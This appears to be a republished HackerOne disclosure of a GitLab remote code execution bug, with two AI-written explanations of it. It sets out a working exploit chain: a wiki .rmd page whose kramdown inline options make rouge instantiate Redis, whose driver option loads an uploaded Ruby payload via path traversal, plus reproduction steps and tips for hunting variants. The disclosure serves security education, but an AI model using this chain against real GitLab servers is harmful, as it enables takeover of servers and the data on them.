Skip to content
RCE Disclosed report Advanced

RCE via unsafe inline Kramdown options when rendering certain Wiki pages

vakzz Follow

Originally disclosed on HackerOne

Bounty$20,000incl. $10,000 bonus Critical View original
  • Triaged in 1 hour
  • Fixed in 3 days
  • Paid in 1 hour
  • Disclosed after 37 days

Summary

When rendering wiki content with certain extensions such as .rmd, render_wiki_content will call other_markup_unsafe which will end up calling GitHub::Markup.render from the github-markup gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.

Since kramdown is loaded, this will end up using it for the markdown parser by calling Kramdown::Document.new(content).to_html

Kramdown has a special extension that allows for options to be set inline, the example they give is: {::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}

The default syntax highlighter is rouge which has an option formatter that can be set via syntax_highlighter_opts in the inline options. This option gets used by formatter_class:

Ruby
  def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

  def self.formatter_class(opts = {})
      puts "formatter"
      puts opts[:formatter]
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

So this a means that ::Rouge::Formatters.const_get(opts[:formatter]).new(opts) will be called, where opts is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of /\A[[:upper:]][[:alnum:]_]*\z/ passes. The validation slightly restricts things, but pretty much any class without a namespace (:: is not allowed) can be created. For example (the two ~~ should have an extra ~ but it's messing up the h1 formatting so will need to add it):

MARKDOWN
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~ ruby
    def what?
      42
    end
~~

Will result in a CSV object being created and then it will error with private method 'format' called for #<CSV:0x00007fe4df7e26d0> as it tries to use this as the formatter.

One of the loaded classes is gitlab is Redis from redis-rb which has an option driver that is used to load the driver class:

https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507

Ruby
    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

As both require_relative and require allow for directory traversal, supplying a driver option such as ../../../../../../../../../../tmp/a.rb will cause that file to be evaluated.

One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: [file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb). The default gitlab_rails['uploads_directory'] is /var/opt/gitlab/gitlab-rails/uploads meaning the final file location will be /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb.

Combining all of of this, we can create the following .rmd file to execute our payload (add ~ to both of the ~~):

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /}

~~ ruby
def what?
  42
end
~~

Steps to reproduce

  1. Create a new snippet with any title and file
  2. In the description, click Attach a file and select the final ruby payload such as:
    Ruby

puts "hello from ruby" echo vakzz was here > /tmp/vakzz ```

  1. Make note of the upload path: /uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb

  2. Create a new project

  3. Click Wiki and create a default home page

  4. Hit Clone repository to get the clone command

  5. Clone the repo git clone [email protected]:root/proj1.wiki.git and add the following file page1.rmd using the path from above (add ~ to both the the ~~):

{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb}" /} ~~ ruby def what? 42 end ~~ ```

  1. Push the changes git add -A . && git commit -m "page1.rmd" && git push

  2. Refresh the wiki, there should now be page1 of the right hand side

  3. Click and load page1

  4. In the gitlab logs you should see something like:

wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb lib/gitlab/other_markup.rb:11:in render' app/helpers/markup_helper.rb:280:in other_markup_unsafe' app/helpers/markup_helper.rb:145:in markup_unsafe' app/helpers/markup_helper.rb:130:in render_wiki_content' app/views/shared/wikis/show.html.haml:30 ```

  1. Looking at /tmp you can see that the payload was executed:

    Bash

root@gitlab-docker:~# cat /tmp/vakzz vakzz was here ```

Impact

Allows any user with push access to a wiki to execute arbitrary ruby code.

Examples

Example page using the inline options to change the highlighter from rouge to minted - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1

What is the current bug behavior?

Inline options can be set when rendering kramdown documents

What is the expected correct behavior?

forbidden_inline_options could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html

Output of checks

Results of GitLab environment info

System information
System:
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.7.2p137
Gem Version:	3.1.4
Bundler Version:2.1.4
Rake Version:	13.0.3
Redis Version:	6.0.10
Git Version:	2.29.0
Sidekiq Version:5.2.9
Go Version:	unknown

GitLab information
Version:	13.9.1-ee
Revision:	8ae438629fa
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	12.5
URL:		http://gitlab-docker.local
HTTP Clone URL:	http://gitlab-docker.local/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	13.16.1
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

Allows any user with push access to a wiki to execute arbitrary ruby code.

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

GitLab renders wiki pages through a helper called render_wiki_content. For most markup formats this goes through the github-markup gem, which picks a parser based on the file extension. When the extension is one of the "other markup" types, such as .rmd, the helper calls other_markup_unsafe, which in turn calls GitHub::Markup.render. Because kramdown is loaded in the GitLab process, markdown files are rendered with Kramdown::Document.new(content).to_html.

Kramdown supports an inline extension that lets a document set its own options, for example:

Text
{::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}

The default syntax highlighter is rouge, and rouge exposes a formatter option that can be set through syntax_highlighter_opts. That option is what the researcher abused.

Setup

The testing instance was GitLab 13.9.1-ee (revision 8ae438629fa) running on Ruby 2.7.2p137, with Redis 6.0.10, Git 2.29.0 and PostgreSQL 12.5. The relevant precondition is that files with any extension can be placed in a wiki: a user with push access to the wiki repository can check it out with git, commit arbitrary files and push them back. The attacker also needs a way to get a Ruby file onto the server at a known path, which the report achieves through snippet uploads.

Finding it

The researcher noticed that wiki content rendered through other_markup_unsafe reaches GitHub::Markup.render, and that kramdown's inline options are honoured. The default highlighter, rouge, reads a formatter option from syntax_highlighter_opts, and that value is passed to formatter_class in kramdown's rouge converter:

Ruby
  def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

  def self.formatter_class(opts = {})
      puts "formatter"
      puts opts[:formatter]
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

The consequence is that ::Rouge::Formatters.const_get(opts[:formatter]).new(opts) runs with opts fully controlled through the inline kramdown options. Any class whose name matches /\A[[:upper:]][[:alnum:]_]*\z/ can be instantiated. The regex forbids namespaces (:: is not allowed), but almost any top-level class can still be created. A first probe used CSV:

MARKDOWN
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~ ruby
    def what?
      42
    end
~~

(The two ~~ should have an extra ~; the report notes the extra tilde was omitted because it broke the h1 formatting.) This creates a CSV object and then errors with private method 'format' called for #<CSV:0x00007fe4df7e26d0> when it is used as the formatter, confirming that arbitrary classes are instantiated with attacker-controlled options.

The next step was to find a loaded class whose constructor does something dangerous with its options. GitLab loads Redis from redis-rb, which has a driver option used to load a driver class:

Ruby
    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

Both require_relative and require accept directory traversal, so a driver value such as ../../../../../../../../../../tmp/a.rb causes that file to be evaluated.

Exploitation

Step 1: upload the Ruby payload as a snippet attachment

Create a new snippet with any title and file. In the description, click Attach a file and select the Ruby payload:

Ruby
puts "hello from ruby"
`echo vakzz was here > /tmp/vakzz`

Attaching creates a markdown link of the form [file.rb](/uploads/-/system/user/1/[redacted]/file.rb). The default gitlab_rails['uploads_directory'] is /var/opt/gitlab/gitlab-rails/uploads, so the file lands at a predictable path under that directory. In the reproduction the upload path noted was /uploads/-/system/user/1/[redacted]/payload.rb, giving the full server path /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb.

Step 2: create a project and its wiki

Create a new project, open the Wiki and create a default home page. Use Clone repository to get the clone command:

Bash
git clone [redacted]:root/proj1.wiki.git

Step 3: add a .rmd page that points the Redis driver at the payload

Add a file page1.rmd containing the inline options and a highlighted code block (again, add ~ to both ~~):

Text
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb\}" /}
~~ ruby
def what?
  42
end
~~

The formatter: Redis value passes the name check and causes a Redis object to be constructed with the supplied options. The driver value traverses out of the redis-rb connection directory up to the uploads directory and names the uploaded payload.rb, which is then required and evaluated.

Step 4: push and view the page

Bash
git add -A . && git commit -m "page1.rmd" && git push

Refresh the wiki; page1 appears on the right hand side. Click and load page1. The GitLab logs show an error such as:

Text
wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb
lib/gitlab/other_markup.rb:11:in `render'
app/helpers/markup_helper.rb:280:in `other_markup_unsafe'
app/helpers/markup_helper.rb:145:in `markup_unsafe'
app/helpers/markup_helper.rb:130:in `render_wiki_content'
app/views/shared/wikis/show.html.haml:30

The log shows the error, and checking /tmp confirms execution. Checking /tmp confirms execution:

Bash
root@gitlab-docker:~# cat /tmp/vakzz
vakzz was here

Root cause

Kramdown inline options are accepted from document content, and the rouge highlighter passes the formatter option into ::Rouge::Formatters.const_get(...).new(opts). The name check /\A[[:upper:]][[:alnum:]_]*\z/ only restricts the shape of the constant name; it does not restrict which top-level classes can be instantiated or which options they receive. Because GitLab loads redis-rb, the Redis class is reachable, and its driver option performs require_relative/require on an attacker-influenced string, which permits directory traversal to an uploaded file. The report's suggested fix is to use kramdown's forbidden_inline_options to disable the dangerous inline options.

Impact

Any user with push access to a wiki can execute arbitrary Ruby code on the GitLab server. The report states that any user with push access to a wiki can execute arbitrary Ruby code.

Fix

The report proposes using forbidden_inline_options to disable the dangerous inline options. It does not state which change was ultimately made.

Variants to test

  1. Other classes with dangerous constructor options: look for loaded top-level classes whose initialisers take file paths, class names or command strings, and try them through formatter:. A positive result is a new object being created with your options, visible as an error or side effect.
  2. Other highlighter options: try options beyond formatter that reach file or class loading. A positive result is a file being read or a class being resolved from an attacker-controlled name.
  3. Other markup extensions that reach other_markup_unsafe: try extensions other than .rmd that route through GitHub::Markup.render. A positive result is inline kramdown options being honoured in that format.
  4. Other upload locations: try other features that place files at predictable paths, then reference them with traversal in driver. A positive result is the uploaded file being evaluated.

Hunting notes

This kind of bug hides where user-controlled document content is rendered by a library that supports inline options or dynamic class loading. During recon, look for wiki or repository features that accept arbitrary file extensions, and for rendering paths that call GitHub::Markup.render or similar multi-format renderers. The signal is a renderer that instantiates classes by name from document content. The researcher demonstrated impact by executing a command and showing its output in /tmp.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

GitLab is a website where teams keep their code and documentation. One of its features is the wiki: a set of pages, like a small website, that belongs to a project. Anyone who is allowed to edit a project's wiki can add pages to it, and GitLab turns those pages into web pages when someone opens them.

This report shows that a person with that ordinary wiki-editing permission could make the GitLab server itself run code of their choosing. That is called remote code execution, or RCE: an attacker who is only supposed to be a normal user gets the server to do whatever they want, in this case run a small Ruby program that writes a file.

The chain has three links, and it is worth seeing them before the details:

  1. A wiki page can carry hidden settings that tell the page-rendering software, kramdown, how to format the page.
  2. One of those settings names a class (a kind of Ruby object) that GitLab should create. The name check is loose, so the attacker can pick a class that GitLab already has loaded, called Redis.
  3. That Redis class has an option called driver that loads a file from disk by name, and the name can contain ../ sequences that walk out of the intended folder. Point it at a file the attacker uploaded earlier, and the server runs that file.

The pieces you need to know first

Before following the steps, here is the vocabulary, explained from zero.

  • Server: the computer that runs GitLab and stores everyone's projects. When you open a page, your browser asks the server for it and the server builds the page and sends it back.
  • Ruby: the programming language GitLab is written in. A file ending in .rb contains Ruby code. If the server is tricked into running such a file, the code in it runs with the server's own powers.
  • Gem: a Ruby library, a bundle of code that other programs can reuse. GitLab is built from many gems. Two matter here: github-markup, which decides how to turn a file into HTML depending on its extension, and kramdown, which turns markdown text into HTML.
  • Markdown: the simple text formatting used for README files and wikis. # Title becomes a heading, and a block wrapped in triple backticks becomes a code block.
  • HTML: the language web pages are written in. Rendering means turning the stored text (markdown, for example) into HTML the browser can display.
  • Extension: the part of a filename after the dot, such as .md or .rmd. It tells software what kind of file it is.
  • Class and object: in Ruby, a class is a blueprint and an object is one thing built from that blueprint. CSV and Redis are classes; creating one is called instantiating it. A class can take options when it is created, and those options change its behaviour.
  • Constant: a named value in Ruby that starts with a capital letter, such as Redis. The :: notation means "inside": Rouge::Formatters is the Formatters constant inside Rouge.
  • Regex: a pattern used to check the shape of text. /[[:upper:]][[:alnum:]_]*/ means "one capital letter, then any number of letters, digits or underscores".
  • Directory traversal: using ../ in a file path to climb out of the folder you were meant to stay in. If you are in /a/b/ and ask for ../../etc/passwd, you end up at /etc/passwd. It is like being told to fetch a file from the stationery cupboard and instead walking up the corridor into the manager's office.
  • Upload: a file a user sends to the website, for example an attachment on a comment or a snippet.
  • Snippet: a small piece of code or text that a GitLab user can save and share, with a title, a file and a description.
  • Git and clone: Git is the version-control system that records changes to files. Cloning means copying a repository (a project's collection of files and history) to your own computer so you can change it and push the changes back.
  • Wiki repository: the wiki is stored as its own Git repository, separate from the project's code. That is why you can clone it and add files of any type.
  • Log: the running record of messages a server writes, useful for seeing what happened and where.

How GitLab renders a wiki page

When you open a wiki page, GitLab does not store the finished HTML. The function that does this is called render_wiki_content.

For most formats, render_wiki_content hands the text to the github-markup gem. That gem looks at the file extension and picks a parser. For a handful of extensions, including .rmd, it takes a different route: it calls a function named other_markup_unsafe, which calls GitHub::Markup.render.

Because kramdown is loaded in the GitLab process, markdown content ends up going through:

Ruby
Kramdown::Document.new(content).to_html

In plain words: take the page's text, build a kramdown document from it, and convert it to HTML. The important part is that kramdown is reading text that the wiki author controls.

The hidden settings in kramdown

Kramdown has a feature that lets a document set its own options from inside the text. The kramdown documentation gives this example:

Text
{::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}

Read it as a small instruction line: "options: turn off automatic ids, set footnote numbering to 5, and pass these settings to the syntax highlighter". A syntax highlighter is the part that colours code blocks. Kramdown's default highlighter is a gem called rouge.

Rouge accepts an option called formatter, which decides how highlighted code is turned into HTML. That option can be set through syntax_highlighter_opts, which means the wiki author can set it. This is the door the researcher walked through.

Where the option goes

Inside kramdown's rouge converter, the formatter option is read and used to choose a class. Here is the relevant code from the report:

Ruby
  def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

  def self.formatter_class(opts = {})
      puts "formatter"
      puts opts[:formatter]
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

Line by line, in plain words:

  • def self.call(...) defines the function that highlights a code block. It receives the converter, the text, the language and some options.
  • opts = options(converter, type) collects the options, including the ones the document set inline.
  • call_opts[:default_lang] = opts[:default_lang] copies the default language across.
  • return nil unless lang || opts[:default_lang] || opts[:guess_lang] gives up if there is no language to highlight.
  • lexer = ::Rouge::Lexer.find_fancy(...) finds the lexer, the part that understands a particular programming language.
  • return nil if opts[:disable] || !lexer || ... gives up if highlighting is disabled or no lexer was found.
  • opts[:css_class] ||= 'highlight' sets a default CSS class name for the HTML.
  • formatter = formatter_class(opts).new(opts) is the key line: it picks a formatter class and creates an object from it, passing all the options.
  • formatter.format(lexer.lex(text)) then uses that object to produce the HTML.
  • def self.formatter_class(opts = {}) is the function that picks the class.
  • puts "formatter" and puts opts[:formatter] print debug lines.
  • case formatter = opts[:formatter] looks at the value the document supplied.
  • when Class handles the case where it is already a class.
  • when /\A[[:upper:]][[:alnum:]_]*\z/ handles a name that starts with a capital letter and continues with letters, digits or underscores.
  • ::Rouge::Formatters.const_get(formatter) looks up a constant with that name inside Rouge::Formatters.
  • else and ::Rouge::Formatters::HTMLLegacy fall back to a default formatter.
  • rescue NameError and ::Rouge::Formatters::HTML fall back to an older default if the lookup fails.

The consequence is that ::Rouge::Formatters.const_get(opts[:formatter]).new(opts) runs, with opts fully controlled by the wiki author. Any class whose name matches the pattern can be created. The pattern forbids namespaces, because :: is not allowed, but almost any top-level class can still be created.

First probe: CSV

The researcher first tried a harmless class, CSV, to see whether the mechanism worked:

MARKDOWN
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~ ruby
    def what?
      42
    end
~~

What each part does:

  • The first line is the inline options instruction. It sets syntax_highlighter to rouge and passes formatter: CSV and line_numbers: true to the highlighter.
  • The blank line separates the instruction from the content.
  • The block starting with ~~ ruby is a fenced code block marked as Ruby. The report notes that the two ~~ should really have an extra ~ each, making ~~~, but the extra tilde was left out because it broke the heading formatting in the report itself.
  • Inside the block is a small Ruby method definition, just something for the highlighter to colour.

The result was that a CSV object was created, and then an error appeared: private method 'format' called for #<CSV:0x00007fe4df7e26d0>. In plain words, the server tried to use the CSV object as a formatter and failed, because CSV is not a formatter. That error is the proof: an arbitrary class was created with options the attacker chose.

Finding a class that does something useful

Creating a CSV object is harmless. The next step is to find a class that GitLab already has loaded whose creation does something dangerous with its options. GitLab loads Redis, from the redis-rb gem, which is the client library for talking to Redis, a fast in-memory database. Redis has an option called driver, used to load the driver class:

Ruby
    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

Line by line:

  • def _parse_driver(driver) defines a function that turns the driver option into a usable driver.
  • driver = driver.to_s if driver.is_a?(Symbol) converts a symbol (a Ruby name-like value) to a string.
  • if driver.kind_of?(String) checks that it is text.
  • require_relative "connection/#{driver}" tries to load a file whose path is connection/ followed by whatever the option says. require_relative loads a file relative to the current file's folder.
  • rescue LoadError, NameError => e catches the failure if that file does not exist.
  • require "connection/#{driver}" then tries the same path through Ruby's general library search path.
  • The inner rescue raises a RuntimeError with a message if both attempts fail.
  • driver = Connection.const_get(driver.capitalize) then looks up a constant named after the driver.
  • driver returns the result.

The crucial detail is that both require_relative and require accept directory traversal. A driver value such as ../../../../../../../../../../tmp/a.rb makes Ruby walk up out of the connection folder and load /tmp/a.rb. Loading a Ruby file means running it.

Step 1: upload the Ruby payload as a snippet attachment

The attacker needs a Ruby file on the server at a path they can predict. GitLab snippets allow attachments, and attachments are stored in a folder whose location is known.

  1. Create a new snippet with any title and file.
  2. In the description, click Attach a file and select the Ruby payload:
Ruby
puts "hello from ruby"
`echo vakzz was here > /tmp/vakzz`

This file does two things. puts "hello from ruby" prints a line. The backtick expression runs a shell command, echo vakzz was here > /tmp/vakzz, which writes the text vakzz was here into a file called /tmp/vakzz. That file is the visible proof that code ran.

Attaching the file creates a markdown link of the form [file.rb](/uploads/-/system/user/1/[redacted]/file.rb). The default gitlab_rails['uploads_directory'] is /var/opt/gitlab/gitlab-rails/uploads, so the file lands at a predictable path under that folder. In the reproduction the noted upload path was /uploads/-/system/user/1/[redacted]/payload.rb, which on the server is /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb.

Why this step: the exploit needs a file on disk whose path the attacker knows. The upload gives exactly that, without needing any special permission beyond creating a snippet.

Step 2: create a project and its wiki

  1. Create a new project.
  2. Open the Wiki and create a default home page.
  3. Use Clone repository to get the clone command:
Bash
git clone [redacted]:root/proj1.wiki.git

This copies the wiki repository to the attacker's own computer. The wiki is a Git repository, so files can be added to it directly, including files with extensions that the web editor might not offer.

Step 3: add a .rmd page that points the Redis driver at the payload

Add a file called page1.rmd containing the inline options and a highlighted code block. Again, the two ~~ should have an extra ~ each:

Text
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb\}" /}
~~ ruby
def what?
  42
end
~~

What each part does:

  • {::options ... /} is the kramdown inline options instruction.
  • syntax_highlighter="rouge" selects rouge as the highlighter.
  • syntax_highlighter_opts="{...}" passes a set of options to rouge.
  • formatter: Redis names the class to create. Redis passes the capital-letter name check, so kramdown creates a Redis object with the supplied options.
  • driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb is the value that reaches _parse_driver. The ../ sequences climb out of the redis-rb connection folder, and the rest of the path names the uploaded payload.rb.
  • The fenced block below gives the highlighter something to process, which is what triggers the formatter code in the first place.

Why this works: formatter: Redis gets past the name check and causes a Redis object to be built. Building it reads the driver option, which loads the file at the traversed path. That file is the uploaded payload, so the payload runs.

Step 4: push and view the page

Bash
git add -A . && git commit -m "page1.rmd" && git push

This stages every change, records a commit with the message page1.rmd, and sends it to the server. Refresh the wiki; page1 appears on the right-hand side. Click and load page1. The GitLab logs show an error such as:

Text
wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/[redacted]/payload.rb
lib/gitlab/other_markup.rb:11:in `render'
app/helpers/markup_helper.rb:280:in `other_markup_unsafe'
app/helpers/markup_helper.rb:145:in `markup_unsafe'
app/helpers/markup_helper.rb:130:in `render_wiki_content'
app/views/shared/wikis/show.html.haml:30

Read the error as a trail: the page view calls render_wiki_content, which calls markup_unsafe, which calls other_markup_unsafe, which calls render. The log shows a wrong constant name error, and checking /tmp confirms the payload ran. The failure is harmless; the loading already happened.

Checking /tmp confirms execution:

Bash
root@gitlab-docker:~# cat /tmp/vakzz
vakzz was here

cat prints the contents of the file, and the text the payload wrote is there. That is the concrete proof that the server ran the attacker's Ruby code.

Why it works, in one place

Kramdown accepts inline options from document content, and the rouge highlighter passes the formatter option into ::Rouge::Formatters.const_get(...).new(opts). The name check only restricts the shape of the constant name; it does not restrict which top-level classes can be created or which options they receive. Because GitLab loads redis-rb, the Redis class is reachable, and its driver option performs require_relative or require on an attacker-influenced string, which allows directory traversal to an uploaded file.

What the report suggests as a fix

The report suggests using kramdown's forbidden_inline_options to disable the dangerous inline options. In plain words: tell kramdown that certain options may never be set from inside a document, so a wiki page cannot choose its own formatter or driver. The report does not state which change was ultimately made.

Impact

Any user with push access to a wiki can execute arbitrary Ruby code on the GitLab server. The report states that any user with push access to a wiki can execute arbitrary Ruby code.

Other things worth trying

  1. Other classes with dangerous constructor options. Look for loaded top-level classes whose initialisers take file paths, class names or command strings, and try them through formatter:. A positive result is a new object being created with your options, visible as an error or a side effect.
  2. Other highlighter options. Try options beyond formatter that reach file or class loading. A positive result is a file being read or a class being resolved from an attacker-controlled name.
  3. Other markup extensions that reach other_markup_unsafe. Try extensions other than .rmd that route through GitHub::Markup.render. A positive result is inline kramdown options being honoured in that format.
  4. Other upload locations. Try other features that place files at predictable paths, then reference them with traversal in driver. A positive result is the uploaded file being evaluated.

How to spot this kind of bug

This kind of bug hides where user-controlled document content is rendered by a library that supports inline options or dynamic class loading. During recon, look for wiki or repository features that accept arbitrary file extensions, and for rendering paths that call GitHub::Markup.render or similar multi-format renderers. The signal is a renderer that creates classes by name from document content. The researcher demonstrated impact by running a command and showing its output in /tmp.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of requests a service accepts.
  • Attachment: a file uploaded to a website and stored by it, for example on a snippet or comment.
  • Bounty: money a company pays a researcher for reporting a security bug responsibly.
  • Class: in Ruby, a blueprint for creating objects, for example Redis or CSV.
  • Clone: to copy a Git repository, with its history, to your own computer.
  • Critical: the highest severity rating, meaning the bug can cause serious damage and should be fixed urgently.
  • CSV: a class in Ruby for reading and writing comma-separated values files.
  • Directory traversal: using ../ in a path to climb out of the intended folder and reach other files.
  • Driver: in redis-rb, the component that handles the actual connection to Redis; its name is loaded from a file.
  • Extension: the part of a filename after the dot, such as .rmd or .rb, which tells software what kind of file it is.
  • Formatter: in a syntax highlighter, the part that turns highlighted code into output such as HTML.
  • Gem: a reusable Ruby library.
  • Git: the version-control system that records changes to files and lets people share them.
  • GitLab: a website for hosting code and project documentation, including wikis.
  • github-markup: a gem that picks a parser for a file based on its extension.
  • Inline options: settings written inside a kramdown document that change how that document is rendered.
  • Instantiate: to create an object from a class.
  • kramdown: a Ruby library that converts markdown text into HTML.
  • Lexer: the part of a syntax highlighter that understands the grammar of a particular programming language.
  • Log: the running record of messages a server writes about what it is doing.
  • Markdown: a simple text formatting language used for README files and wikis.
  • Object: one thing created from a class, with its own state and options.
  • Payload: the code an attacker wants the victim system to run.
  • PostgreSQL: a database system; GitLab stores its data in one.
  • Push: to send local Git commits to a remote repository.
  • RCE (remote code execution): a bug that lets an attacker make a remote server run code of their choosing.
  • Rendering: turning stored source text into the HTML a browser displays.
  • Repository: a project's collection of files together with its change history, managed by Git.
  • require / require_relative: Ruby instructions that load and run another Ruby file; require_relative looks relative to the current file's folder.
  • Redis: a fast in-memory database, and also the name of the Ruby client class used to talk to it.
  • redis-rb: the Ruby library that provides the Redis client class.
  • Rouge: the default syntax highlighter used by kramdown.
  • Server: the computer that runs a website and stores its data.
  • Severity: a rating of how serious a bug is.
  • Snippet: a small piece of code or text a GitLab user can save and share, with a title, a file and a description.
  • Syntax highlighter: software that adds colours to code blocks by recognising the language.
  • Symbol: a Ruby value that looks like a name, written with a leading colon, such as :driver.
  • Upload: a file a user sends to a website.
  • Wiki: a set of linked pages belonging to a project, which permitted users can edit.
  • Wiki repository: the Git repository that stores a wiki's pages, separate from the project's code.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.